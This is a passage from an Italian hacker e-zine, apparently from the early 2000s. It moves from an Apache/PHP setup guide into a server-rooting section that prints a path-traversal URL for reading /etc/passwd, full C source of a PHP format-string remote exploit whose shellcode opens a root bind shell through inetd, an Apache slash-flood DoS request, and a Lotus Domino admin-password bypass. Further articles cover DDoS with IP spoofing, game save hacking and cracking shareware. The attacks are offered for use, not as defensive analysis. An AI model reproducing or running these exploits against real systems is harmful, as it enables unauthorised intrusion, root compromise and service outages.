apache. Infatti indichiamo le directory.Ora finiamo di installare Apache!

#cd apache-x.x.x
#./configure -
prefix=/usr/local/apache -activate-
module=src/modules/php4/libphp4.a
#make
#make install

anche in questo caso notiamo che abbiamo richiamato il configure con numerosi
parametri,e' interessante notare che il file libphp4.a non esiste ancora e
verra' crato in seguito a questa operazione.L'ultima operazione e' copiare il
file di confuigurazione del php nella sua locazione standard ed eventualmente
modificarlo:

#cp php.ini-dist
/usr/local/lib/php.ini

Ora abbiamo installato tutto ma dobbiamo configurare il famoso file .conf che
interpretera' le pagine scritte in php.

addtype application/x-httpd-php .php .php3
addtype application/x-httpd-php-source .phps

Dobbiamo anche aggiungere alla sezione riguardante le estensioni riconosciute
i nuovi formati supportati,in modo che siano riconosciuti da Apache.

<IfModule mod_dir.c>
DirectoryIndex index.html
index.php index.phps default.php index.php3
</IfModule>

Riavviamo apache ed il gioko e fatto!..

#cd /usr/local/apache/bin
#apachectl restart


+=====================+
| [Testare il tutto) |
+=====================+

Adesso siamo giunti alla fine anche su linux.Questi software servono,come gia
detto a costruire siti dinamici appoggiandosi ad un database per gestire i
dati. Le nostre pagine in php saranno molto simili a quelle html e per
inserire i comandi in php basta utilizzare i tag <? e ?> come in quresto
esempio:

<html>
<body>
<? Echo ("
Ecco funziona :)");?>
<br><?phpinfo();?>
</body>
</html>

Iniziamo a vedere come si gestisce ol Mysql utilizzando il php,se dovessimo
impartire comandi con la linea di testo cominceremo subito a chiedeci ci ce
l'ha fatto fare! Per questo utilizzeremo PhpMyAdmin un programmino scritto in
php in grado di interfacciarsi con Mysql e gestire le nostre tabelle :> Basta
scompattarlo configurarlo aprirlo via browser inserendo la directory in cui
l'abbiamo scompattato!

Utilizza http://www.ziobudda.net/ dove si possono trovare informazioni
relative a linux e php!

+================================+
| Rooting in the server-Hacking |
+================================+


Quindi abbiamo capito come funziona Php in "
sinergia" :) con il demone Apache
e col database MySql :> Ora vedremo come distruggerli "
Expilotarli" e rendersi
root nel Server!

Molte volte bastano piccolissimi e stronzissimi bug per fottere i server
Apache in questo caso vi faccio vedere come expilotare ed usufruire dello
"
ShowFiles" :

lynx
http://www.sito.com/cgi-bin/ikonboard/help.cgi?helpon=../../../../../etc/passwd%00

Figo e'? Solo ../../../../../ ci fanno scoprire le pwd ecco come dicevo su..
Rileggi la guida :) Possiamo quindi spiare le pass :)

Testato su Apache/1.3.9 (Unix) PHP/4.0.3pl1 FrontPage/4.0.4.3..

Un altro Expilot figo e' PHP 3.0.16/4.0.2 remote format overflow exploit. Con
netcat :

Sintassi: phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80


Eccolo qui [PHPXPL.C]:

/*
* PHP 3.0.16/4.0.2 remote format overflow exploit.
* Copyright (c) 2000
* Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau
* gneisenau@berlin.com
* my regards to sheib and darkx
* All rights reserved
* Pascal Boucheraine's paper was enlightening
* THERE IS NO IMPLIED OR EXPRESS WARRANTY FOR THIS CODE.
* YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS AND I CANNOT BE HELD RESPONSIBLE
* FOR THE CONSEQUENCES
* Usage:
* phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80
*
* Slackware 7.0: eip address/shellcode address
* 0xbfff9b90/0xbfff958c
*
*/
/*
* We just printf the shellcode and stuff and nc it to the target
*/

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// this exploit does not like 0x0a = '\n' in the shellcode. also the NULL at
// the end of the shellcode will be removed as the shellcode is probably
// strcatted into the buffer. so do it again in the shellcode.
/*
* This shellcode is for Linux/x86.
* This shellcode spawns a shell and runs the command
* echo 'ingreslock stream tcp nowait root /bin/bash bash
-i'>/tmp/.inetd.conf; /usr/sbin/inetd /tmp/.inetd.conf
*/
char shellcode[] = {
0xeb,0x41,
0x5e,
0x31,0xc0,
0x31,0xdb,
0xb0,0xa0,
0x89,0x34,0x06,
0x8d,0x4e,0x07,
0x88,0x19,
0x41,
0x41,
0xb0,0xa4,
0x89,0x0c,0x06,
0x8d,0x4e,0x0b,
0x88,0x19,
0x41,
0xb0,0xa8,
0x89,0x0c,0x06,
0x8d,0x4e,0x7f,
0x88,0x19,
0x31,0xd2,
0xb0,0xac,
0x89,0x14,0x06,
0x89,0xf3,
0x89,0xf1,
0xb0,0xa0,
0x01,0xc1,
0xb0,0x0b,
0xcd,0x80,
0x31,0xc0,
0xb0,0x01,
0x31,0xdb,
0xcd,0x80,
0xe8,0xba,0xff,0xff,0xff,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0xff,0xff, /* the string "
/bin/sh" */
0x2d,0x63,0xff, /* the string "
-c" */
0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69,
0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74,
0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77,
0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69,
0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20,
0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,
0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f,
0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65,
0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65,
0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00,
};

#define NOP 0x90


/*
* the PHP3 error buffer will already contain PHP 3 Warning: The Content-Type
* string was "
multipart/form-data. This is 66 bytes long. we send 2 spaces
* for padding the addresses we embed in our attack buffer on word boundary
*/
#define PHP3_WARNING 68
#define BUF_LEN 1024

struct system_type {
char *name;
unsigned int nop;
char *shellcode;
int shellcode_len;
int offset; /* the number of pops we need to get to our own data*/
int already_written; /* number of bytes written by printf by the time we
reach the our embedded data */

unsigned int eip_address; /* address where shellcode_address must be put */
unsigned int shellcode_address; /* address of shellcode in memory */
};

struct system_type systems[] = {
{
"Slackware Linux 7.0 - i386/Apache 1.3.12/PHP 3.0.16 (static module)",
0x90,
shellcode,
270, /* not exact but we got lots of space ;) */
27,
0x152,
0xbfff9c30,
0xbfff962c,
},
// somebody find these and fill it in please. should be
// straightforward.
{
"Red Hat 6.0 - i386/Apache 1.3.13/PHP 3.0.16 (static module)",
(unsigned int)NULL,
NULL,
(int)NULL,
(int)NULL,
(int)NULL,
(unsigned int)NULL,
(unsigned int)NULL,
},
{
NULL,
(unsigned int)NULL,
NULL,
(int)NULL,
(int)NULL,
(int)NULL,
(unsigned int)NULL,
(unsigned int)NULL,
},
};

void usage (void);
void parse_url (char *, char *);
void prepare_attack_buffer (char *, struct system_type *, char *);
int calculate_precision (unsigned int, int);

int
main (int argc, char *argv[])
{
char attack_buffer[2000]; // we construct the shellcode and stuff here
// the target is 1024 bytes long
struct system_type *sysptr;
char *url; // i hope these things dont get bigger than this
char target[2048]; // target will contain only the FQDN
unsigned int eip_address = 0, shellcode_address = 0;
int ctr = 0;
int nop_count;
char *walk;
int arg;

// at least expect a system type and url from the command line
if (argc < 3)
usage ();

// parse arguments
while ((arg = getopt (argc, argv, "s:u:e:h:")) != -1){
switch (arg){
case 'h':
sscanf (optarg, "%x", &shellcode_address);
break;
case 'e':
sscanf (optarg, "%x", &eip_address);
break;
case 's':
sysptr = &systems[atoi (optarg)];
break;
case 'u':
url = optarg;
parse_url (url, target);
break;
case '?':
default :
usage ();
}
}

if (eip_address)
sysptr->eip_address = eip_address;
if (shellcode_address)
sysptr->shellcode_address = shellcode_address;
prepare_attack_buffer (attack_buffer, sysptr, url);

// as of now write it out to stdout. later write it to a socket
write (STDOUT_FILENO, attack_buffer, sizeof (attack_buffer));
}

void
prepare_attack_buffer (char *attack_buffer, struct system_type *system,
char *url)
{
int dest_buffer_written; /* we keep track of how much bytes will be written
in the destination buffer */

int ctr;
char *address;
char buf[25]; // temp buffer for %xd%n%xd%n%xd%n%xd%n
// where x is precision
int p1,p2,p3,p4;
int nop_count;

bzero (attack_buffer, 2000);
sprintf (attack_buffer, "POST http://%s HTTP/1.0\nConnection:
close\nUser-Agent: tirpitz\nContent-Type: multipart/form-data "
, url);
// mark strlen here. whatever we write after here appears in the buffer
dest_buffer_written = strlen (attack_buffer);

strcat (attack_buffer, "\x11\x11\x11\x11");
address = (char *)&system->eip_address;
strncat (attack_buffer, address, 4);
strcat (attack_buffer, "\x11\x11\x11\x11");
system->eip_address++;
address = (char *)&system->eip_address;
strncat (attack_buffer, address, 4);
strcat (attack_buffer, "\x11\x11\x11\x11");
system->eip_address++;
address = (char *)&system->eip_address;
strncat (attack_buffer, address, 4);
strcat (attack_buffer, "\x11\x11\x11\x11");
system->eip_address++;
address = (char *)&system->eip_address;
strncat (attack_buffer, address, 4);

/*
* we need to add %x corresponding to the number of pops we need to reach
* our embedded addresses we defined above
*/

for (; system->offset; system->offset--)
strcat (attack_buffer, "%x ");

p1 = calculate_precision ((system->shellcode_address & 0x000000ff),
system->already_written);
p2 = calculate_precision ((system->shellcode_address & 0x0000ff00) >> 8,
system->already_written);
p3 = calculate_precision ((system->shellcode_address & 0x00ff0000) >> 16,
system->already_written);
p4 = calculate_precision ((system->shellcode_address & 0xff000000) >> 24,
system->already_written);
sprintf (buf, "%%%dd%%n%%%dd%%n%%%dd%%n%%%dd%%n", p1, p2, p3, p4);
strcat (attack_buffer, buf);

ctr = strlen (attack_buffer);
dest_buffer_written = ctr - dest_buffer_written;
dest_buffer_written += PHP3_WARNING; // dest_buffer_written now contains the
number of bytes the PHP_WARNING and then the 8 4 byte values and then the %x
to pop off the stack
attack_buffer += ctr;
nop_count = BUF_LEN - dest_buffer_written - system->shellcode_len;
memset (attack_buffer, NOP, nop_count);
/*
* Add our shellcode at last
*/

attack_buffer += nop_count;
strcat (attack_buffer, shellcode);
strcat (attack_buffer, "\n");
strcat (attack_buffer, "Content-Length: 1337\n\n");
}

void
usage (void)
{
int ctr;

fprintf (stderr, " Apache/PHP xploit\n");
fprintf (stderr, " Field Marshal Count August Anton Wilhelm Neithardt
von Gneisenau\n"
);
fprintf (stderr, " for the r00tcrew\n");
fprintf (stderr, " All rights reserved\n");
fprintf (stderr, "\nUsage:\n");
fprintf (stderr, "phpxpl -u url -s systype [ -e eip address ] [ -h shellcode
address ]\n\n"
);
fprintf (stderr, "url: the complete url including FQDN and script on the
server\n"
);
fprintf (stderr, " www.victim.com/info.php3\n");
fprintf (stderr, "available systypes:\n");

for (ctr = 0; systems[ctr].name; ctr++)
fprintf (stderr, "%d. %s\n", ctr, systems[ctr].name);
fprintf (stderr, "eip address: the address which the xploit overwrites with
buffer address (specify thus 0xbfff9c30) \n"
);
fprintf (stderr, "shellcode address: the address which points to the NOPs
(specify thus 0xbfff962c)\n"
);
fprintf (stderr, "\n");
exit (1);
}

void
parse_url (char *url, char *target)
{
char *ptr;

strcpy (target, url);
if (!(ptr = index (target, '/'))){
fprintf (stderr, "invalid url. specify the script name on the target server
too\n"
);
exit (1);
}
*ptr = '\0';
}

/*
* addr_byte contains the byte we need to write out. for example: 2c in
* 0xbfff962c, then 96, ff and bf.
*/

int
calculate_precision (unsigned int addr_byte, int already_written_init)
{
static int already_written = 0;
int tmp;

if (!already_written)
already_written = already_written_init;

while (addr_byte < already_written)
addr_byte += 0x100;

tmp = addr_byte - already_written;
already_written = addr_byte;
return tmp;
}


Ringrazio BbOyIce member della nostra crew #bfc per questo expilot per ache
fino alla 1.3.17 ke girano su sistemi .nix che hanno cgi e l'helpcom.pl:

In pratica manda in Owerlow il server usando :

GET ///////////////////////////////////////////////////////// HTTP/1.0

Piu o meno 250 (/) slash!

Non ce moltissimo da capire quando oggi e' necessario avereuna macchina x86
con linux e una connessione ad internet..del resto tutti scanno scrivere

Expilot per apache o php etc..Io chiudo qui inoltre vi dico ke e' sempre una
leimata hakkare i server!
vI auguro un buone feste in maskera :P .. Ricordatevi di joinare su
azzurranet.org #bfc :D


e4m

-= Black Force Crew =-
Www.bfc.too.it - #bfc
Tezkatlipoka@libero.it


|------------------------------------|
|Art. N° <5> : "Bug Lotus" di Dominus|
|------------------------------------|


^\# Bug Lotus #/^
^\# #/^
^\# Posted By Dominus #/^
^\# #/^
^\# DSK CREW www.dsk-crew.cjb.net #/^
^ \ ####################################/^
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

Salve a tutti eccomi qui a scrivere un altro tutorial,perche credo che la
conoscenza che uno ha fa bene a mostrarla agli altri,cosi anche gli altri
impareranno, :))
bene prima di tutto un bel Disclaimer.....
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ DISCLAIMER
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

L'autore e il webmaster del sito non si ritengono responsabili dell'uso che
verrà fatto da questi dati,tutto questo è a solo scopo informativo e non per
atti criminali perciò ragazzi se con questi dati combinate casino "cazzi
vostri"
..
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Bene bene cominciamo pure,allora lotus soffre di un grave bug,per chi non lo
sapesse attraverso lotus si apre un pannello di controllo con cui è possibile
configurare e gestire qualsiasi file di sistema,per accedere a questo pannello
di controllo ci vuole una password e con il bug che ora vi elencherò si può
benissimo bypassare la password ed accedere al pannello di controllo,al
momento che sarete al pannello di controllo quando sceglierete una directory
vi chiederà un altra password e per bypassare pure quella dovete usare un po
di intelligenza,ora vi elencherò alcuni metodi poi sta a voi applicarli e
capire il funzionamento....
mettiamo il caso che il sito che gestisce lotus sia www.merda.it , per gestire
lotus c'è un file che si chiama webadmin.ntf per raggiungere questo file si
deve caricare il buffer con 205 + un esempio
www.merda.it/webadmin.ntf+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.nsf/

con questo gia entrereste nel pannello di controllo,apparte webadmin c'è pure
il file log.ntf bhe cambiate voi,un altra cosa l'exploit funziona con 205 +
ma sta a voi provare varie combinazioni per caricare di + il buffer e
bypassare anche la seconda password,i + possono arrivare anche a 219 provare
per credere :).
Questo bug apparte l'esempio visto prima si può sfruttare anche in un altro
modo,è possibile bloccare determinati database su cui è basato il
funzionamento del server: basta anteporre /./ prima del nome del database
tipo: se volete bloccare l'accesso a webadmin.nsf anche all'admin basterà fare
www.merda.it/./webadmin.nsf ,o per bloccare la mailbox dell'amministratore
www.merda.it/mail/./administrator.nsf.

Avete capito tutto????? spero di si io credo che sia semplicissimo e se non
avete capito bhe datevi all'agricoltura :) ihihhhihih,ciao ragazzi alla
prossima!! By Dominus
DSK CREW WWW.DSK-CREW.CJB.NET


|-----------------------------------------------------------|
|Art. N° <6> : "Differenza di attacco DOS e DDOS" di Dominus|
|-----------------------------------------------------------|


## Differenza di attacco DoS e DDoS ##
## ##
## Posted By Dominus ##
## ##
## DSK CREW www.dsk-crew.cjb.net ##
#########################################
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

Oggi vi spiegherò la differenza tra attacco DoS e attacco DDoS,per prima cosa
vediamo il significato....

DoS = Denial of Service
DDoS = Distribuited Denial of Service

Allora l'attacco DoS non è altro che mandare dei pacchetti ad un server per
poi farlo crashare,entrambi i metodi possono essere differenti,non esiste solo
un tipo di attacco ma lo scopo finale è quello di paralizzare completamente un
sistema.
Avvolte lattaccante si contenta solo di far rimanere irraggiungibile un server
per un determitato tempo e avvolte viene applicato per far perdere stabilità
alla macchina bersaglio è da dire che se un sistema perde stabilità
automaticamente diventa molto più vulnerabile e avvolte si aprono delle porte
che magari dovrebbero rimanere chiuse,questo non è un bug "TUTTE LE MACCHINE E
TUTTI I SISTEMI"
possono crollare a questi tipi di attacchi,l'unico metodo
sarebbe filtrare le porte ma anche per questo c'è sempre un metodo :),ora
ritornando a prima....il DoS come avevamo detto consiste nell'inviare
pacchetti a una macchina remota,pacchetti pesanti floddando una porta quindi
questo causa il crash ma per fare questo dovrebbero essere + utenti a farlo
perche un computer non basta e il server potrebbe reggere l'attacco,invece con
il DDos la cosa è diversa,appunto si chiama Distribuited Denial of
Service,consiste nel prendere l'ip di un network che gestisce centinaia di
computer a questo punto immaginatevi se tramite il network si manderebbero
solo 5 ping alla macchina remota i centinaia di computer quei 5 ping li
farebbero diventare milioni cosi il nostro bersaglio sarebbe invaso da milioni
e avvolte miliardi di pacchetti e cosi andrebbe in crash al 100%,il sistema
collasserebbe,come ho detto prima questa è una tecnica micidiale,c'è da dire
un cosa però i ping inviati poi ritornano come risposta ed è bene applicare
l'ip spoofing per camuffare l'ip altrimenti i primi pacchetti che il bersaglio
riuscirebbe a reggere li rimanderebbe a noi e a quel punto anche noi saremmo
invasi da centinaia di pacchetti,camuffando l'ip questo non succede perche la
macchina invierebbe delle risposte a un ip che non esiste,la tecnica per l'ip
spoofing ve la scriverò + avanti,spero che avete capito tutto per eventuali
dubbi o chiarimenti potete postare le vostre domande al forum che c'è nel sito
sarò felice di rispondervi ciao!!!
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

DSK CREW www.dsk-crew.cjb.net





############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| C R A C K I N G |10%101ð0101|010:10&101
01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010
01<0101!1010+101"
010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################


|---------------------------------------------------|
|Art. N° <7> : "Un piccolo esempio di cheats" di E4m|
|---------------------------------------------------|


__________________________________________________________________
|"*"|Coded by e4m____________________________________________|*|-|x|
|101010101010101010101010101010101010101010101010101010101010101010|
|010101010101010101010101010101010101010101010101010101010101010101|
|010101010101010111010101001000100010100100101001010101010410101010|
|10| \ 01010101 / \101010101/ \/ \01000|
|10| ________| 01010101/ /| |01010101/ \1011|
|10| |________ 010101 / /0| |0101010| /\ /\ |100|
|01| | 101011/ /01| |0101010| /0 \ /01\ |110|
|10| ________| 10100/ /010| |0101010| |01 \/010 | |010|
|01| |0101010110101/ /0100| |0101001| |010101010| |110|
|01| |01010101010_/ \0110| \____ | |010101010| |011|_____
|10| |/ \ | \01010101/ |100|!!!!/
|01|______________/|_______ ___________||_____\010101/_____|011|!!!/
|011010010101010101011101010| |010101001010101010101010101010101|!!/
|010101011010101100100101010| |010101010101010101010101010101010|!/
|010010100101001010010101001|____|010101011101010101010101001101010|/
--------------------------------------------------------------------

[E4M]
TEZKATLIPOKA@LIBERO.IT
WWW.BFC.TOO.IT
#BFC

Vi piace pazzamente un gioko,l'avete finito circa 470volte e sapete tutto,ma
non conoscete i codici o velete scoprirli voi.... e' semplicissimo vi faro un
esempiuzzo di cracking di THE SIMS famoso gioko DI ....uhm se vuoi saperne d
piu' www.thesims.it ihih :)
allora vediamo un po...ki lo conosce sapra' sicuramente ke LA FAMIGLIA
STANDARD parte con 20.000 $imeom "ossia soldi del gioko!
bhe diciamo d volere piu soldi! ihih...
VAI NELLA DIRECTORY DEL TUO THE SIMS
POI FATTI UN BEL EDITOR ESADECIMALE "
hex" E PARTIIIIII

BHE nella cartella UserData "
ossia dove vengono riportate le info sui
personaggi,
e apri col tuo fedele hex editor "ti consiglio HEX WORKSHOP" il file
"Neighborhood.iff"
ossia vicinato.
UNA VOLTA APERTO
cerca la stringa "46414D49" questa rappresenta la sezione di un file per ogni
famiglia che e' avibile!.Se tu hai creato la tua famiglia tu potrai notare il
nome ke tu hai usato :)
(DEVI AVER CREATO SOLO UNA FAMIGLIA)
poi cerca 204E ossia l'iniziale dose di soldi per famiglia ossia 20.000
$imleon!
GUARDA L'ESEMPIOZZO...

0100014173730000"A346414D49"00000084000400
1000000000000000000000000000000000000000
0000000000000000000000000000000000000000
0000000000000000000000000000000000000000
00000000000000000007000000494D4146000000
0009000000"204E"00000000000000000000000000
0004000000086853E05473D343A7369F97712E59
A446414D730000005C0004001000000000000000
0000000000000000000000000000000000000000
0000000000000000000000000000000000000000
0000000000000000000000000000000000FDFF01
0001506C656173616E740000A3

HO MESSO TRA "" LE STRINGHE FAMIGLIA E SOLDI!

bene fin qui c siamO???

ora puoi convertire quel bel "204E" ossia i 20 $simleon in:

"40D003" per $200,000
"80841E" per $2,000,000

una semplice operazione ke puoi fare col calcolatore del tuo "hex editor"
GUARDA L'ESEMPIOZZO...

0100014173730000A346414D4900000084000400
1000000000000000000000000000000000000000
0000000000000000000000000000000000000000
0000000000000000000000000000000000000000
00000000000000000007000000494D4146000000
0009000000"40D003"000000000000000000000000 <--------ecco qui i 200,000
$imleon :)
0004000000086853E05473D343A7369F97712E59
A446414D730000005C0004001000000000000000
0000000000000000000000000000000000000000
0000000000000000000000000000000000000000
0000000000000000000000000000000000FDFF01
0001506C656173616E740000A3

TUTTO STA NEL MODIFICARE IL FILE GIUSTO NEL PUNTO GIUSTO!

-UN ERRORE PIU TOSTO RECENTE CREDO SIA LA NUMERAZIONE IN HEX DEI SOLDI NELLE
VARIE VERSIONI DI THE SIMS PER EVITARE CIO' HO ALLEGATO UN PROGRAMMA DA PORRE
IN C:\Programmi\Maxis\The Sims\UserData8 :)-

-=E4M=-


|-----------------------------------------------------|
|Art. N° <8> : "Legal Marijuana Growing by e4m" di E4m|
|-----------------------------------------------------|


ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°°ÛÛÛÛÛÛÛ°°°°°°°°Û°°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°ÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°Û°°°ÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°ÛÛÛ°°ÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°ÛÛÛÛÛÛÛÛÛ°°°ÛÛÛÛÛ°ÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°°°ÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°ÛÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°ÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°ÛÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°ÛÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°ÛÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

..proudly presents..

LE VIE DEL REVESING SONO INFINITE... :þ
By e4m


Conoscendo un po di asm possiamo combinare un sacco di belle cose ^_^..Sapevi?
Per questo ho scritto questa semplicissima patch ke modifika qlc cosina di
HighGrow - Legal Marijuana Growing il bel programmino ke c consnte di
coltivare maria virtulale..a crakkare questo bel progz. cia' gia' pensato
Quequero ma noi apporteremo solo qlc modifikina!! :)
Se vuoi la patch contatami!...
InnansiTutto vi riporto il debbug delle cose fondamentali in esso non In
ASM!!! ma gia spulciato da costui (e4m) :


Saltiamo le icone i cursori le immagini e andiamo a farci sul serio... Ecco il
menu':

MENU MENU
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
{
POPUP "&Start"
{
MENUITEM "&HighGrow Objectives..\tCtrl+O", 40038
MENUITEM "&Planting Your Seeds..\tCtrl+P", 40018
MENUITEM SEPARATOR
MENUITEM "&Enter Grow Room..\tCtrl+G", 40023, GRAYED
MENUITEM "&Daily Growth Chart..\tCtrl+C", 40017, GRAYED
MENUITEM SEPARATOR
MENUITEM "&Weird Wally's Rules..\tCtrl+W", 40024
MENUITEM "&Harvested Plants Log..\tCtrl+H", 40071, GRAYED
MENUITEM SEPARATOR
MENUITEM "E&xit HighGrow\tCtrl+X", 40007
}
POPUP "&Plants"
{
POPUP "Daily &Activities.."
{
MENUITEM "Seed 1..\tCtrl+1", 40035, GRAYED
MENUITEM "Seed 2...\tCtrl+2", 40036, GRAYED
MENUITEM "Seed 3..\tCtrl+3", 40037, GRAYED
}
POPUP "Growth &Log.."
{
MENUITEM "Seed 1..\tShft+Ctrl+1", 40051, GRAYED
MENUITEM "Seed 2...\tShft+Ctrl+2", 40052, GRAYED
MENUITEM "Seed 3..\tShft+Ctrl+3", 40053, GRAYED
}
MENUITEM SEPARATOR
POPUP "&Harvesting"
{
MENUITEM "Seed 1..", 40042, GRAYED
MENUITEM "Seed 2...", 40043, GRAYED
MENUITEM "Seed 3..", 40044, GRAYED
}
}
POPUP "&Options"
{
MENUITEM "&Lock HighGrow..\tCtrl+L", 40029
MENUITEM SEPARATOR
MENUITEM "Registration Code..\tCtrl+D", 40070
MENUITEM "Registration Details..\tCtrl+R", 40021
}
POPUP "&Help"
{
MENUITEM "&Contents\tF1", 40014
MENUITEM "&Growing Tips\tCtrl+T", 40020
MENUITEM SEPARATOR
MENUITEM "&About HighGrow...\tCtrl+A", 40001
}
}


Yuppydu' ora andiamo con criterio ecco le about box:

ABOUT DIALOGEX 22, 17, 319, 149
STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
EXSTYLE WS_EX_TOOLWINDOW | WS_EX_CLIENTEDGE
CAPTION "About HighGrow"
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
FONT 8, "MS Sans Serif"
{
CONTROL "&Registration Details", 1069, BUTTON, BS_DEFPUSHBUTTON | WS_CHILD
| WS_VISIBLE | WS_GROUP | WS_TABSTOP, 141, 130, 78, 14
CONTROL "&Cancel", 2, BUTTON, BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE |
WS_GROUP | WS_TABSTOP, 236, 130, 78, 14
CONTROL "HighGrow ", 1115, STATIC, SS_CENTER | SS_SUNKEN | WS_CHILD |
WS_VISIBLE | WS_GROUP, 150, 12, 154, 17
CONTROL "Shareware Version 1.1", 1116, STATIC, SS_LEFT | WS_CHILD |
WS_VISIBLE | WS_GROUP, 152, 38, 115, 11
CONTROL "", -1, STATIC, SS_ETCHEDFRAME | WS_CHILD | WS_VISIBLE, 140, 5,
174, 118
CONTROL "If you have any comments or ideas that could be included in future
versions of HighGrow, then please email me at:"
, -1, STATIC, SS_LEFT |
WS_CHILD | WS_VISIBLE | WS_GROUP, 152, 72, 150, 25
CONTROL "HIGHGROW", -1, STATIC, SS_ICON | WS_CHILD | WS_VISIBLE, 282, 33,
18, 20
CONTROL "slicker@mweb.co.za", 1111, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE
| WS_GROUP, 152, 104, 106, 12
CONTROL "", 500, STATIC, SS_ETCHEDFRAME | SS_SUNKEN | WS_CHILD |
